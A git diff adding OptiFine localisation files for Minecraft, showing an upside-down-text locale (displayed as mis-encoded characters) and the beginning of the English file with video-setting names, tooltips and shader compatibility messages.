+of.options.FAST_RENDER.tooltip.3=sÇsÉÇɹɔÇp É¥É”á´‰É¥Ê É¯É¥Ê‡á´‰É¹oáµ·êžÉ áµ·uᴉɹÇpuÇɹ pÇsᴉɯᴉʇdo sÇs∩ +of.options.FAST_RENDER.tooltip.2=Ë™SԀℲ Çɥʇ ÇsÉÇɹɔuá´‰ ÊŽêžêžÉᴉʇuÉʇsqns ÊŽÉɯ puÉ pÉoêž âˆ©Ô€×¤ Çɥʇ +of.options.FAST_RENDER.tooltip.1=Ë™spoɯ Çɯos É¥Ê‡á´‰Ê Ê‡É”á´‰êžÉŸuoÉ” uÉÉ” uoᴉʇdo sᴉɥ⟘ + +of.options.FAST_MATH=sɥʇÉW ʇsÉℲ +of.options.FAST_MATH.tooltip.6=sɥʇÉW ʇsÉℲ +of.options.FAST_MATH.tooltip.5=(ʇêžnÉÉŸÇp) sɥʇÉɯ pɹÉpuÉʇs - ℲℲO +of.options.FAST_MATH.tooltip.4=sɥʇÉɯ ɹÇʇsÉÉŸ - NO +of.options.FAST_MATH.tooltip.3=uÉÉ” É¥É”á´‰É¥Ê suoᴉʇɔunÉŸ ()soÉ” puÉ ()uá´‰s pÇsᴉɯᴉʇdo sÇs∩ +of.options.FAST_MATH.tooltip.2=Ë™SԀℲ Çɥʇ ÇsÉÇɹɔuá´‰ puÉ ÇɥɔÉÉ” ∩ԀƆ Çɥʇ Çsá´‰êžá´‰Ê‡n ɹÇʇʇÇq +of.options.FAST_MATH.tooltip.1=Ë™uoᴉʇÉɹÇuÇáµ· pêžÉ¹oÊ Çɥʇ ʇɔÇÉŸÉŸÉ ÊŽêžêžÉɯᴉuᴉɯ uÉÉ” uoᴉʇdo sᴉɥ⟘ + +of.options.CHUNK_UPDATES=sÇʇÉpd∩ ÊžunɥƆ +of.options.CHUNK_UPDATES.tooltip.6=sÇʇÉpdn ÊžunɥƆ +of.options.CHUNK_UPDATES.tooltip.5=(ʇêžnÉÉŸÇp) SԀℲ ɹÇɥᵷᴉɥ 'áµ·uá´‰pÉoêž pêžÉ¹oÊ É¹ÇÊoêžs - ⥠+of.options.CHUNK_UPDATES.tooltip.4=SԀℲ ɹÇÊoêž 'áµ·uá´‰pÉoêž pêžÉ¹oÊ É¹ÇʇsÉÉŸ - Æ +of.options.CHUNK_UPDATES.tooltip.3=SԀℲ ʇsÇÊoêž 'áµ·uá´‰pÉoêž pêžÉ¹oÊ Ê‡sÇʇsÉÉŸ - Ï› +of.options.CHUNK_UPDATES.tooltip.2='ÇɯÉɹɟ pÇɹÇpuÇɹ ɹÇd sÇʇÉpdn Êžunɥɔ ÉŸo ɹÇqɯnN +of.options.CHUNK_UPDATES.tooltip.1=Ë™ÇʇÉɹÇɯÉɹɟ Çɥʇ Çzá´‰êžá´‰qÉʇsÇp ÊŽÉɯ sÇnêžÉÊŒ ɹÇɥᵷᴉɥ + +of.options.CHUNK_UPDATES_DYNAMIC=sÇʇÉpd∩ ɔᴉɯÉuÊŽá—¡ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=sÇʇÉpdn Êžunɥɔ ɔᴉɯÉuÊŽá—¡ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=(ʇêžnÉÉŸÇp) ÇɯÉɹɟ ɹÇd sÇʇÉpdn Êžunɥɔ pɹÉpuÉʇs - ℲℲO +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3=êžêžá´‰Ê‡s áµ·uá´‰puÉʇs sá´‰ ɹÇÊŽÉêžd Çɥʇ Çêžá´‰É¥Ê sÇʇÉpdn Çɹoɯ - NO +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2=Çêžá´‰É¥Ê sÇʇÉpdn Êžunɥɔ Çɹoɯ ÇɔɹoÉŸ sÇʇÉpdn ɔᴉɯÉuÊŽá—¡ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=˙ɹÇʇsÉÉŸ pêžÉ¹oÊ Çɥʇ pÉoêž oʇ êžêžá´‰Ê‡s áµ·uá´‰puÉʇs sá´‰ ɹÇÊŽÉêžd Çɥʇ + +of.options.LAZY_CHUNK_LOADING=áµ·uá´‰pÉoꞀ ÊžunɥƆ ÊŽzÉꞀ +of.options.LAZY_CHUNK_LOADING.tooltip.7=áµ·uá´‰pÉoꞀ ÊžunɥƆ ÊŽzÉꞀ +of.options.LAZY_CHUNK_LOADING.tooltip.6=áµ·uá´‰pÉoêž Êžunɥɔ ɹÇʌɹÇs ʇêžnÉÉŸÇp - ℲℲO +of.options.LAZY_CHUNK_LOADING.tooltip.5=(ɹÇɥʇooɯs) áµ·uá´‰pÉoêž Êžunɥɔ ɹÇʌɹÇs ÊŽzÉêž - NO +of.options.LAZY_CHUNK_LOADING.tooltip.4=ÊŽq áµ·uá´‰pÉoêž Êžunɥɔ ɹÇʌɹÇs pÇʇÉɹᵷÇʇuá´‰ Çɥʇ sɥʇooɯS +of.options.LAZY_CHUNK_LOADING.tooltip.3=Ë™sʞɔᴉʇ êžÉɹÇÊŒÇs ɹÇÊŒo sÊžunɥɔ Çɥʇ áµ·uᴉʇnqᴉɹʇsᴉᗡ +of.options.LAZY_CHUNK_LOADING.tooltip.2=˙ʎêžÊ‡É”ÇɹɹoÉ” pÉoêž Ê‡ou op pêžÉ¹oÊ Çɥʇ ÉŸo sʇɹÉd ÉŸá´‰ ℲℲO ʇᴉ uɹn⟘ +of.options.LAZY_CHUNK_LOADING.tooltip.1=Ë™(ɹÇÊŽÉêžd-Çêžáµ·uá´‰s) spêžÉ¹oÊ êžÉÉ”oêž É¹oÉŸ ÊŽêžuo ÇʌᴉʇɔÇÉŸÉŸÆŽ + +of.options.RENDER_REGIONS=suoᴉᵷÇɹ ɹÇpuÇá´š +of.options.RENDER_REGIONS.tooltip.6=suoᴉᵷÇɹ ɹÇpuÇá´š +of.options.RENDER_REGIONS.tooltip.5=(ʇêžnÉÉŸÇp) suoᴉᵷÇɹ ɹÇpuÇɹ Çsn ʇou op - ℲℲO +of.options.RENDER_REGIONS.tooltip.4=suoᴉᵷÇɹ ɹÇpuÇɹ Çsn - NO +of.options.RENDER_REGIONS.tooltip.3=ɹÇɥᵷᴉɥ Ê‡É áµ·uᴉɹÇpuÇɹ uá´‰ÉɹɹÇʇ ɹÇʇsÉÉŸ ÊoêžêžÉ suoᴉᵷÇɹ ɹÇpuÇá´š +of.options.RENDER_REGIONS.tooltip.2=Ë™pÇêžqÉuÇ ÇÉ¹É soqΛ uÇÉ¥Ê ÇʌᴉʇɔÇÉŸÉŸÇ ÇɹoW Ë™sÇÉ”uÉʇsá´‰p ɹÇpuÇɹ +of.options.RENDER_REGIONS.tooltip.1=Ë™spɹÉÉ” sɔᴉɥdÉɹᵷ pÇʇÉɹᵷÇʇuá´‰ ɹoÉŸ pÇpuÇɯɯoÉ”Çɹ ʇoN + +of.options.SMART_ANIMATIONS=suoᴉʇÉɯᴉuⱯ ʇɹÉɯS +of.options.SMART_ANIMATIONS.tooltip.7=suoᴉʇÉɯᴉuⱯ ʇɹÉɯS +of.options.SMART_ANIMATIONS.tooltip.6=(ʇêžnÉÉŸÇp) suoᴉʇÉɯᴉuÉ Ê‡É¹Éɯs Çsn ʇou op - ℲℲO +of.options.SMART_ANIMATIONS.tooltip.5=suoᴉʇÉɯᴉuÉ Ê‡É¹Éɯs Çsn - NO +of.options.SMART_ANIMATIONS.tooltip.4= Çɥʇ ÇʇÉɯᴉuÉ ÊŽêžuo êžêžá´‰Ê ÇɯÉáµ· Çɥʇ suoᴉʇÉɯᴉuÉ Ê‡É¹Éɯs ɥʇᴉM +of.options.SMART_ANIMATIONS.tooltip.3=Ë™uÇÇɹɔs Çɥʇ uo Çêžqá´‰sᴉʌ ÊŽêžÊ‡uÇɹɹnÉ” ÇÉ¹É É¥É”á´‰É¥Ê sÇɹnʇxÇʇ +of.options.SMART_ANIMATIONS.tooltip.2=Ë™SԀℲ Çɥʇ sÇsÉÇɹɔuá´‰ puÉ sÇÊžá´‰ds áµ·Éêž ÊžÉ”á´‰Ê‡ Çɥʇ sÇÉ”npÇɹ sᴉɥ⟘ +of.options.SMART_ANIMATIONS.tooltip.1=Ë™sʞɔÉd ÇɔɹnosÇɹ pH puÉ sʞɔÉd poɯ áµ·á´‰q ɹoÉŸ êžnÉŸÇsn ÊŽêžêžÉᴉɔÇdsÆŽ + +# Animations + +of.options.animation.allOn=NO êžêžâ±¯ +of.options.animation.allOff=ℲℲO êžêžâ±¯ +of.options.animation.dynamic=ɔᴉɯÉuÊŽá—¡ + +of.options.ANIMATED_WATER=pÇʇÉɯᴉuⱯ ɹÇʇÉM +of.options.ANIMATED_LAVA=pÇʇÉɯᴉuⱯ ÉÊŒÉꞀ +of.options.ANIMATED_FIRE=pÇʇÉɯᴉuⱯ ÇɹᴉℲ +of.options.ANIMATED_PORTAL=pÇʇÉɯᴉuⱯ êžÉʇɹoÔ€ +of.options.ANIMATED_REDSTONE=pÇʇÉɯᴉuⱯ ÇuoʇspÇá´š +of.options.ANIMATED_EXPLOSION=pÇʇÉɯᴉuⱯ uoá´‰soêždxÆŽ +of.options.ANIMATED_FLAME=pÇʇÉɯᴉuⱯ ÇɯÉêžâ„² +of.options.ANIMATED_SMOKE=pÇʇÉɯᴉuⱯ ÇÊžoɯS +of.options.VOID_PARTICLES=sÇêžÉ”ᴉʇɹÉÔ€ pá´‰oΛ +of.options.WATER_PARTICLES=sÇêžÉ”ᴉʇɹÉÔ€ ɹÇʇÉM +of.options.RAIN_SPLASH=É¥sÉêždS uá´‰Éá´š +of.options.PORTAL_PARTICLES=sÇêžÉ”ᴉʇɹÉÔ€ êžÉʇɹoÔ€ +of.options.POTION_PARTICLES=sÇêžÉ”ᴉʇɹÉÔ€ uoᴉʇoÔ€ +of.options.DRIPPING_WATER_LAVA=ÉÊŒÉꞀ/ɹÇʇÉM áµ·uá´‰ddᴉɹᗡ +of.options.ANIMATED_TERRAIN=pÇʇÉɯᴉuⱯ uá´‰ÉɹɹÇ⟘ +of.options.ANIMATED_TEXTURES=pÇʇÉɯᴉuⱯ sÇɹnʇxÇ⟘ +of.options.FIREWORK_PARTICLES=sÇêžÉ”ᴉʇɹÉÔ€ ʞɹoÊÇɹᴉℲ + +# Other + +of.options.LAGOMETER=ɹÇʇÇɯoáµ·ÉꞀ +of.options.LAGOMETER.tooltip.8=Ë™(ÆℲ) uÇÇɹɔs áµ·nqÇp Çɥʇ uo ɹÇʇÇɯoáµ·Éêž Çɥʇ sÊoÉ¥S +of.options.LAGOMETER.tooltip.7=uoᴉʇɔÇêžêžoÉ” Çáµ·ÉqɹÉáµ· ʎɹoɯÇW - Çáµ·uÉɹO * +of.options.LAGOMETER.tooltip.6=ʞɔᴉ⟘ - uÉʎƆ * +of.options.LAGOMETER.tooltip.5=sÇêžqÉʇnÉ”ÇxÇ pÇêžnpÇɥɔS - Çnêžá—º * +of.options.LAGOMETER.tooltip.4=pÉoêždn ÊžunɥƆ - ÇêždɹnÔ€ * +of.options.LAGOMETER.tooltip.3=sÇʇÉpdn ÊžunɥƆ - pÇá´š * +of.options.LAGOMETER.tooltip.2=ʞɔÇɥɔ ʎʇᴉêžá´‰qá´‰sᴉΛ - ÊoêžêžÇâ…„ * +of.options.LAGOMETER.tooltip.1=uá´‰ÉɹɹÇʇ ɹÇpuÇá´š - uÇÇɹפ * + +of.options.PROFILER=ɹÇêžá´‰ÉŸoɹԀ áµ·nqÇá—¡ +of.options.PROFILER.tooltip.5=ɹÇêžá´‰ÉŸoɹԀ áµ·nqÇá—¡ +of.options.PROFILER.tooltip.4=ɹÇÊoêžs 'ÇÊŒá´‰Ê‡É”É sá´‰ ɹÇêžá´‰ÉŸoɹd áµ·nqÇp - NO +of.options.PROFILER.tooltip.3=ɹÇʇsÉÉŸ 'ÇÊŒá´‰Ê‡É”É Ê‡ou sá´‰ ɹÇêžá´‰ÉŸoɹd áµ·nqÇp - ℲℲO +of.options.PROFILER.tooltip.2=uoᴉʇÉɯɹoÉŸuá´‰ áµ·nqÇp sÊoÉ¥s puÉ sʇɔÇêžêžoÉ” ɹÇêžá´‰ÉŸoɹd áµ·nqÇp Çɥ⟘ +of.options.PROFILER.tooltip.1=Ë™(ÆℲ) uÇdo sá´‰ uÇÇɹɔs áµ·nqÇp Çɥʇ uÇÉ¥Ê + +of.options.WEATHER=ɹÇɥʇÉÇM +of.options.WEATHER.tooltip.5=ɹÇɥʇÉÇM +of.options.WEATHER.tooltip.4=ɹÇÊoêžs 'ÇÊŒá´‰Ê‡É”É sá´‰ ɹÇɥʇÉÇÊ - NO +of.options.WEATHER.tooltip.3=ɹÇʇsÉÉŸ 'ÇÊŒá´‰Ê‡É”É Ê‡ou sá´‰ ɹÇɥʇÉÇÊ - ℲℲO +of.options.WEATHER.tooltip.2=Ë™sɯɹoʇsɹÇpunɥʇ puÉ Êous 'uá´‰Éɹ sêžoɹʇuoÉ” ɹÇɥʇÉÇÊ Çɥ⟘ +of.options.WEATHER.tooltip.1=Ë™spêžÉ¹oÊ êžÉÉ”oêž É¹oÉŸ Çêžqá´‰ssod ÊŽêžuo sá´‰ êžoɹʇuoÉ” ɹÇɥʇÉÇM + +of.options.time.dayOnly=ÊŽêžuo ÊŽÉá—¡ +of.options.time.nightOnly=ÊŽêžuo ʇɥᵷᴉN + +of.options.TIME=Çɯᴉ⟘ +of.options.TIME.tooltip.6=Çɯᴉ⟘ +of.options.TIME.tooltip.5=sÇêžÉ”ÊŽÉ” ʇɥᵷᴉu/ÊŽÉp êžÉɯɹou - ʇêžnÉÉŸÇp +of.options.TIME.tooltip.4=ÊŽêžuo ÊŽÉp - ÊŽêžuo ÊŽÉá—¡ +of.options.TIME.tooltip.3=ÊŽêžuo ʇɥᵷᴉu - ÊŽêžuo ʇɥᵷᴉN +of.options.TIME.tooltip.2=Çpoɯ ƎΛI⟘ⱯƎɹƆ uá´‰ ÇʌᴉʇɔÇÉŸÉŸÇ ÊŽêžuo sá´‰ áµ·uᴉʇʇÇs Çɯᴉʇ Çɥ⟘ +of.options.TIME.tooltip.1=Ë™spêžÉ¹oÊ êžÉÉ”oêž É¹oÉŸ puÉ + +options.fullscreen.tooltip.5=uÇÇɹɔsêžêžnℲ +options.fullscreen.tooltip.4=Çpoɯ uÇÇɹɔsêžêžnÉŸ Çsn - NO +options.fullscreen.tooltip.3=Çpoɯ Êopuá´‰Ê Çsn - ℲℲO +options.fullscreen.tooltip.2=uÉɥʇ ɹÇÊoêžs ɹo ɹÇʇsÉÉŸ Çq ÊŽÉɯ Çpoɯ uÇÇɹɔsêžêžnℲ +options.fullscreen.tooltip.1=Ë™pɹÉÉ” sɔᴉɥdÉɹᵷ Çɥʇ uo áµ·uá´‰puÇdÇp 'Çpoɯ Êopuá´‰Ê + +options.fullscreen.resolution=ÇpoW uÇÇɹɔsêžêžnℲ +options.fullscreen.resolution.tooltip.5=Çpoɯ uÇÇɹɔsêžêžnℲ +options.fullscreen.resolution.tooltip.4=ɹÇÊoêžs 'uoᴉʇnêžosÇɹ uÇÇɹɔs doʇʞsÇp Çsn - ʇêžnÉÉŸÇp +options.fullscreen.resolution.tooltip.3=ɹÇʇsÉÉŸ Çq ÊŽÉɯ 'uoᴉʇnêžosÇɹ uÇÇɹɔs ɯoʇsnÉ” Çsn - HxM +options.fullscreen.resolution.tooltip.2=Ë™(â¥â¥â„²) Çpoɯ uÇÇɹɔsêžêžnÉŸ uá´‰ pÇsn sá´‰ uoᴉʇnêžosÇɹ pÇʇɔÇêžÇs Çɥ⟘ +options.fullscreen.resolution.tooltip.1=˙ɹÇʇsÉÉŸ Çq ÊŽêžêžÉɹÇuÇáµ· pêžnoÉ¥s suoᴉʇnêžosÇɹ ɹÇÊoꞀ + +of.options.SHOW_FPS=SԀℲ ÊoÉ¥S +of.options.SHOW_FPS.tooltip.7=Ë™uoᴉʇÉɯɹoÉŸuá´‰ ɹÇpuÇɹ puÉ SԀℲ ʇɔÉdɯoÉ” sÊoÉ¥S +of.options.SHOW_FPS.tooltip.6=ɯnɯᴉuᴉɯ/Çáµ·ÉɹÇÊŒÉ - sdℲ +of.options.SHOW_FPS.tooltip.5=sɹÇɹÇpuÇɹ Êžunɥɔ - :Ɔ +of.options.SHOW_FPS.tooltip.4=sÇᴉʇᴉʇuÇ ÊžÉ”oêžq + sÇᴉʇᴉʇuÇ pÇɹÇpuÇɹ - :ÆŽ +of.options.SHOW_FPS.tooltip.3=sÇʇÉpdn Êžunɥɔ - :∩ +of.options.SHOW_FPS.tooltip.2=Çɥʇ uÇÉ¥Ê uÊoÉ¥s ÊŽêžuo sá´‰ uoᴉʇÉɯɹoÉŸuá´‰ SԀℲ ʇɔÉdɯoÉ” Çɥ⟘ +of.options.SHOW_FPS.tooltip.1=Ë™Çêžqá´‰sᴉʌ ʇou sá´‰ uÇÇɹɔs áµ·nqÇp + +of.options.save.45s=sϛ߈ +of.options.save.90s=s06 +of.options.save.3min=uá´‰É¯Æ +of.options.save.6min=uᴉɯ9 +of.options.save.12min=uᴉɯᘔ⥠+of.options.save.24min=uᴉɯ߈ᘔ + +of.options.AUTOSAVE_TICKS=ÇÊŒÉsoʇnⱯ +of.options.AUTOSAVE_TICKS.tooltip.4=êžÉʌɹÇʇuI ÇÊŒÉsoʇnⱯ +of.options.AUTOSAVE_TICKS.tooltip.3=ʇêžnÉÉŸÇp - sϛ߈ +of.options.AUTOSAVE_TICKS.tooltip.2=Ë™ÇÉ”uÉʇsá´‰p ɹÇpuÇɹ Çɥʇ uo áµ·uá´‰puÇdÇp sÇÊžá´‰ds áµ·Éêž ÇʇÉɹÇuÇáµ· ÊŽÉɯ ÇÊŒÉsoʇnⱯ +of.options.AUTOSAVE_TICKS.tooltip.1=Ë™pÇuÇdo sá´‰ nuÇɯ ÇɯÉáµ· Çɥʇ uÇÉ¥Ê pÇÊŒÉs osêžÉ sá´‰ pêžÉ¹oÊ Çɥ⟘ + +of.options.SCREENSHOT_SIZE=Çzá´‰S ʇoÉ¥suÇÇɹɔS +of.options.SCREENSHOT_SIZE.tooltip.6=Çzá´‰S ʇoÉ¥suÇÇɹɔS +of.options.SCREENSHOT_SIZE.tooltip.5=Çzá´‰s ʇoÉ¥suÇÇɹɔs ʇêžnÉÉŸÇp - ʇêžnÉÉŸÇp +of.options.SCREENSHOT_SIZE.tooltip.4=Çzá´‰s ʇoÉ¥suÇÇɹɔs ɯoʇsnÉ” - x߈-xᘔ +of.options.SCREENSHOT_SIZE.tooltip.3=˙ʎɹoɯÇɯ Çɹoɯ pÇÇu ÊŽÉɯ sʇoÉ¥suÇÇɹɔs ɹÇáµ·áµ·á´‰q áµ·uᴉɹnʇdÉƆ +of.options.SCREENSHOT_SIZE.tooltip.2=˙ᵷuá´‰sÉá´‰êžÉᴉʇuⱯ puÉ É¹ÇpuÇɹ ʇsÉℲ É¥Ê‡á´‰Ê ÇêžqᴉʇÉdɯoÉ” ʇoN +of.options.SCREENSHOT_SIZE.tooltip.1=˙ʇɹoddns ɹÇÉŸÉŸnqÇɯÉɹɟ ∩Ԁפ sÇɹᴉnbÇá´š + +of.options.SHOW_GL_ERRORS=sɹoɹɹƎ Ꞁפ ÊoÉ¥S +of.options.SHOW_GL_ERRORS.tooltip.6=sɹoɹɹƎ ꞀפuÇdo ÊoÉ¥S +of.options.SHOW_GL_ERRORS.tooltip.5=˙ʇÉɥɔ Çɥʇ uá´‰ uÊoÉ¥s ÇÉ¹É sɹoÉ¹É¹Ç êž€×¤uÇdo pÇêžqÉuÇ uÇÉ¥M +of.options.SHOW_GL_ERRORS.tooltip.4=puÉ Ê‡É”á´‰êžÉŸuoÉ” uÊouÊž É sá´‰ ÇɹÇɥʇ ÉŸá´‰ ÊŽêžuo ʇᴉ ÇêžqÉsᴉᗡ +of.options.SHOW_GL_ERRORS.tooltip.3=Ë™pÇxᴉɟ Çq ʇ,uÉÉ” sɹoÉ¹É¹Ç Çɥʇ +of.options.SHOW_GL_ERRORS.tooltip.2= Çɥʇ uá´‰ pÇáµ·áµ·oêž êžêžá´‰Ê‡s ÇÉ¹É sɹoÉ¹É¹Ç Çɥʇ pÇêžqÉsá´‰p uÇÉ¥M +of.options.SHOW_GL_ERRORS.tooltip.1= Ë™doɹp SԀℲ ʇuÉɔᴉɟᴉuáµ·á´‰s É ÇsnÉÉ” êžêžá´‰Ê‡s ÊŽÉɯ ÊŽÇɥʇ puÉ áµ·oêž É¹oÉ¹É¹Ç + +# Chat Settings + +of.options.CHAT_BACKGROUND=punoɹᵷʞɔÉq ʇÉɥƆ +of.options.CHAT_BACKGROUND.tooltip.4=punoɹᵷʞɔÉq ʇÉɥƆ +of.options.CHAT_BACKGROUND.tooltip.3=ɥʇpá´‰Ê pÇxᴉɟ - ʇêžnÉÉŸÇp +of.options.CHAT_BACKGROUND.tooltip.2=ɥʇpá´‰Ê Çuá´‰êž sÇɥɔʇÉɯ - ʇɔÉdɯoƆ +of.options.CHAT_BACKGROUND.tooltip.1=uÇppᴉɥ - ℲℲO + +of.options.CHAT_SHADOW=ÊopÉÉ¥S ʇÉɥƆ +of.options.CHAT_SHADOW.tooltip.3=ÊopÉÉ¥S ʇÉɥƆ +of.options.CHAT_SHADOW.tooltip.2=ÊopÉÉ¥s ʇxÇʇ Çsn - NO +of.options.CHAT_SHADOW.tooltip.1=ÊopÉÉ¥s ʇxÇʇ ou - ℲℲO diff --git a/src/assets/minecraft/optifine/lang/en_us.lang b/src/assets/minecraft/optifine/lang/en_us.lang new file mode 100644 index 00000000..a2af890d --- /dev/null +++ b/src/assets/minecraft/optifine/lang/en_us.lang @@ -0,0 +1,772 @@ +# General +of.general.ambiguous=ambiguous +of.general.compact=Compact +of.general.custom=Custom +of.general.from=From +of.general.id=Id +of.general.max=Maximum +of.general.restart=restart +of.general.smart=Smart + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing is not compatible with Shaders. +of.message.aa.shaders2=Please disable Shaders to enable this option. + +of.message.af.shaders1=Anisotropic Filtering is not compatible with Shaders. +of.message.af.shaders2=Please disable Shaders to enable this option. + +of.message.fr.shaders1=Fast Render is not compatible with Shaders. +of.message.fr.shaders2=Please disable Shaders to enable this option. + +of.message.an.shaders1=3D Anaglyph is not compatible with Shaders. +of.message.an.shaders2=Please disable Shaders to enable this option. + +of.message.shaders.aa1=Shaders are not compatible with Antialiasing. +of.message.shaders.aa2=Please set Quality -> Antialiasing to OFF and restart the game. + +of.message.shaders.af1=Shaders are not compatible with Anisotropic Filtering. +of.message.shaders.af2=Please set Quality -> Anisotropic Filtering to OFF. + +of.message.shaders.fr1=Shaders are not compatible with Fast Render. +of.message.shaders.fr2=Please set Performance -> Fast Render to OFF. + +of.message.shaders.gf1=Shaders are not compatible with Fabulous Graphics. +of.message.shaders.gf2=Please set Graphics to Fast or Fancy. + +of.message.shaders.an1=Shaders are not compatible with 3D Anaglyph. +of.message.shaders.an2=Please set Other -> 3D Anaglyph to OFF. + +of.message.shaders.nv1=This shader pack requires a newer OptiFine version: %s +of.message.shaders.nv2=Are you sure you want to continue? + +of.message.newVersion=A new §eOptiFine§f version is available: §e%s§f +of.message.java64Bit=You can install §e64-bit Java§f to increase performance. +of.message.openglError=§eOpenGL Error§f: %s (%s) + +of.message.shaders.loading=Loading shaders: %s + +of.message.other.reset=Reset all video settings to their default values? + +of.message.loadingVisibleChunks=Loading visible chunks + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Cape... + +of.options.capeOF.title=OptiFine Cape +of.options.capeOF.openEditor=Open Cape Editor +of.options.capeOF.reloadCape=Reload Cape +of.options.capeOF.copyEditorLink=Copy Link To Clipboard + +of.message.capeOF.openEditor=The OptiFine cape editor should open in a web browser. +of.message.capeOF.openEditorError=Error opening the editor link in a web browser. +of.message.capeOF.reloadCape=The cape will be reloaded in 15 seconds. + +of.message.capeOF.error1=Mojang authentication failed. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1=Visual quality +options.graphics.tooltip.2= Fast - lower quality, faster +options.graphics.tooltip.3= Fancy - higher quality, slower +options.graphics.tooltip.4= Fabulous - better translucent objects, slowest +options.graphics.tooltip.5=Changes the appearance of clouds, leaves, water, +options.graphics.tooltip.6=shadows and grass sides. +options.graphics.tooltip.7=Fabulous graphics is not compatible with shaders. + +of.options.renderDistance.tiny=Tiny +of.options.renderDistance.short=Short +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Far +of.options.renderDistance.extreme=Extreme +of.options.renderDistance.insane=Insane +of.options.renderDistance.ludicrous=Ludicrous + +options.renderDistance.tooltip.1=Visible distance +options.renderDistance.tooltip.2= 2 Tiny - 32m (fastest) +options.renderDistance.tooltip.3= 8 Normal - 128m (normal) +options.renderDistance.tooltip.4= 16 Far - 256m (slower) +options.renderDistance.tooltip.5= 32 Extreme - 512m (slowest!) very resource demanding +options.renderDistance.tooltip.6= 48 Insane - 768m, needs 2GB RAM allocated +options.renderDistance.tooltip.7= 64 Ludicrous - 1024m, needs 3GB RAM allocated +options.renderDistance.tooltip.8=Values over 16 Far are only effective in local worlds. + +options.entityDistanceScaling.tooltip.1=Entity render distance +options.entityDistanceScaling.tooltip.2= 50%% - faster +options.entityDistanceScaling.tooltip.3= 100%% - default +options.entityDistanceScaling.tooltip.4= 500%% - slower +options.entityDistanceScaling.tooltip.5=Modifies the maximum distance at which entities are shown. + +options.ao.tooltip.1=Smooth lighting +options.ao.tooltip.2= OFF - no smooth lighting (faster) +options.ao.tooltip.3= Minimum - simple smooth lighting (slower) +options.ao.tooltip.4= Maximum - complex smooth lighting (slowest) + +options.framerateLimit.tooltip.1=Max framerate +options.framerateLimit.tooltip.2= VSync - limit to monitor framerate (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variable +options.framerateLimit.tooltip.4= Unlimited - no limit (fastest) +options.framerateLimit.tooltip.5=The framerate limit decreases the FPS even if +options.framerateLimit.tooltip.6=the limit value is not reached. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Smooth Lighting Level +of.options.AO_LEVEL.tooltip.1=Smooth lighting level +of.options.AO_LEVEL.tooltip.2= OFF - no shadows +of.options.AO_LEVEL.tooltip.3= 50%% - light shadows +of.options.AO_LEVEL.tooltip.4= 100%% - dark shadows + +options.viewBobbing.tooltip.1=More realistic movement. +options.viewBobbing.tooltip.2=When using mipmaps set it to OFF for best results. + +options.guiScale.tooltip.1=GUI Scale +options.guiScale.tooltip.2= Auto - maximal size +options.guiScale.tooltip.3= Small, Normal, Large - 1x to 3x +options.guiScale.tooltip.4= 4x to 10x - available on 4K displays +options.guiScale.tooltip.5=Odd values (1x, 3x, 5x ...) are not compatible with Unicode. +options.guiScale.tooltip.6=A smaller GUI may be faster. + +options.vbo=Use VBOs +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Uses an alternative rendering model which is usually +options.vbo.tooltip.3=faster (5-10%%) than the default rendering. + +options.gamma.tooltip.1=Changes the brightness of darker objects. +options.gamma.tooltip.2= Moody - standard brightness +options.gamma.tooltip.3= 1-99%% - variable +options.gamma.tooltip.4= Bright - maximum brightness for darker objects +options.gamma.tooltip.5=This option does not change the brightness of +options.gamma.tooltip.6=fully black objects. + +options.anaglyph.tooltip.1=3D Anaglyph +options.anaglyph.tooltip.2=Enables a stereoscopic 3D effect using different colors +options.anaglyph.tooltip.3=for each eye. +options.anaglyph.tooltip.4=Requires red-cyan glasses for proper viewing. + +options.attackIndicator.tooltip.1=Configures the position of the attack indicator +options.attackIndicator.tooltip.2= Crosshair - under the crosshair +options.attackIndicator.tooltip.3= Hotbar - next to the hotbar +options.attackIndicator.tooltip.4= OFF - no attack indicator +options.attackIndicator.tooltip.5=The attack indicator shows the attack power of the +options.attackIndicator.tooltip.6=currently equipped item + +of.options.ALTERNATE_BLOCKS=Alternate Blocks +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternate Blocks +of.options.ALTERNATE_BLOCKS.tooltip.2=Uses alternative block models for some blocks. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depends on the selected resource pack. + +of.options.FOG_FANCY=Fog +of.options.FOG_FANCY.tooltip.1=Fog type +of.options.FOG_FANCY.tooltip.2= Fast - faster fog +of.options.FOG_FANCY.tooltip.3= Fancy - slower fog, looks better +of.options.FOG_FANCY.tooltip.4= OFF - no fog, fastest +of.options.FOG_FANCY.tooltip.5=The fancy fog is available only if it is supported by the +of.options.FOG_FANCY.tooltip.6=graphic card. + +of.options.FOG_START=Fog Start +of.options.FOG_START.tooltip.1=Fog start +of.options.FOG_START.tooltip.2= 0.2 - the fog starts near the player +of.options.FOG_START.tooltip.3= 0.8 - the fog starts far from the player +of.options.FOG_START.tooltip.4=This option usually does not affect the performance. + +of.options.CHUNK_LOADING=Chunk Loading +of.options.CHUNK_LOADING.tooltip.1=Chunk Loading +of.options.CHUNK_LOADING.tooltip.2= Default - unstable FPS when loading chunks +of.options.CHUNK_LOADING.tooltip.3= Smooth - stable FPS +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - stable FPS, 3x faster world loading +of.options.CHUNK_LOADING.tooltip.5=Smooth and Multi-Core remove the stuttering and +of.options.CHUNK_LOADING.tooltip.6=freezes caused by chunk loading. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core can speed up 3x the world loading and +of.options.CHUNK_LOADING.tooltip.8=increase FPS by using a second CPU core. +of.options.chunkLoading.smooth=Smooth +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=OFF +of.options.shaders.packDefault=(internal) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing 